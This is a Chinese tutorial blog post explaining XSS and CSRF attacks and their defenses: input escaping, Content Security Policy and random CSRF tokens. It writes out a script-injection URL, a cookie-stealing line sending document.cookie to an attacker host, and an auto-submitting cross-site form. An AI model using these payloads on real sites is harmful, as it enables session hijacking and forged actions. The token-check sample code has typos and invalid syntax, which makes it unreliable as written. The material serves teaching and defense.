web安全之——XSS、CSRF

XSS漏洞

XSS 全称 Cross Site Scripting ,跨站脚本攻击。它的形成主要原因是多数用户输入没有转义,而被直接执行。

参考下面一段脚本:

$('#box').html(location.hash.replace('#', ''))

攻击者发现这里的漏洞后,构造这样的URL:

http://a.com/pathname#<script src="http://b.com/c.js"></script>

为了不让受害者发现这段URL的猫腻,他可能会压缩成一个短网址:

http://t.cn/fasdfj

然后将短网址发给某个登录在线用户。这样,这段hash中的脚本将会在这个用户的浏览器中执行,而这段脚本中的内容如下:

location.herf = "http://c.com/?" + document.cookie

这段代码将该用户的Cookie提交给了c.com站点,这个站点就是攻击者的服务器,于是他就能拿到该用户的Session口令。然后他在客户端中用这个口令伪造Cookie,从而实现了伪装用户的身份。

XSS解决方案

一、将用用户的输入转义,永远不要相信用户的输入。

二、CSP 策略

Content Security Policy,简称CSP,即内容安全策略。

它的具体使用方式是在 HTTP 头中输出 CSP 策略:

Content-Security-Policy: <policy-directive>; <policy-directive>

从语法上可以看到,一个头可以输出多个策略,每一个策略由一个指令和指令对应的值组成。指令可以理解为指定内容类型的,比如script-src指令用于指定脚本,img-src用于指定图片。值则主要是来源,比如某个指定的URL,或者self表示同源,或者unsafe-inline表示在页面上直接出现的脚本等。

CSRF 漏洞

CSRF的全称是Croos-Site Request Forgery,即为跨站请求伪造。

这里以一个留言例子来说明CSRF攻击过程。假设某网站有这样一个留言接口:

http://domain_a.com/guestbook

用户通过POST提交content字段就能留言成功,服务器会自动从Session数据中判断是谁提交的数据。

正常情况下,谁提交的留言,就会在列表中显示谁的信息。如果攻击者发现了这里的接口存在CSRF漏洞,那么他就可以在另一个网站(http://domain_b.com/attack)上构造一个表单提交:

<form id="test" method="post" action="http://domain_a.com/guestbook">
    <input type="hidden" name="content" value="谁是最帅的boy?">
</form>
<script type="text/javascript">
    $(function() {
        $("#test").submit();
    })
</script>

此时,攻击者只要引诱某个domain_a的登录用户访问这个domain_b的网站,就会自动提交一个留言。由于在提交到domain_a的过程中,浏览器会将domain_a的Cookie发送到服务器,尽管这个请求是来自domain_b的。

CSRF如何防御

常规的防御方式是添加随机值。

var generationRandom = function(len) {
    return crypto.randomBytes(Math.ceil(len * 3 / 4))
        .toString('base64')
        .slice(0,len)
}

也就是说,为每个请求的用户,在Session中赋予一个随机值,如下:

var token = req.session._csrf || req.session._crsf = generationRandom(10)

在做页面渲染的时候,将这个_crsf值告之前端:

<form id="test" method="post" action="http://domain_a.com/guestbook">
    <input type="hidden" name="_crsf" value="<%=_crsf%>">
    <input type="hidden" name="content" value="谁是最帅的boy?">
</form>

由于该值是一个随机值,攻击者构造出相同的随机值的难度相当大,所以我们只需要在接收端做一次你校验就能轻易的识别出该请求是否为伪造的:

function(req, res) {
    var token = req.session._csrf || req.session._crsf = generationRandom(10);

    var _crsf = req.body._crsf;

    if(token !== _crsf) {
        res.writeHead(403);
        res.send('禁止访问');
    }else {
        hanle(req, res);
    }
}

而且,_crsf也可以存在与查询字符串或请求头中。

相关:
理解CSRF(跨站请求伪造)

posted @ 2017-06-25 09:48  Liaofy  阅读(346)  评论(0编辑  收藏  举报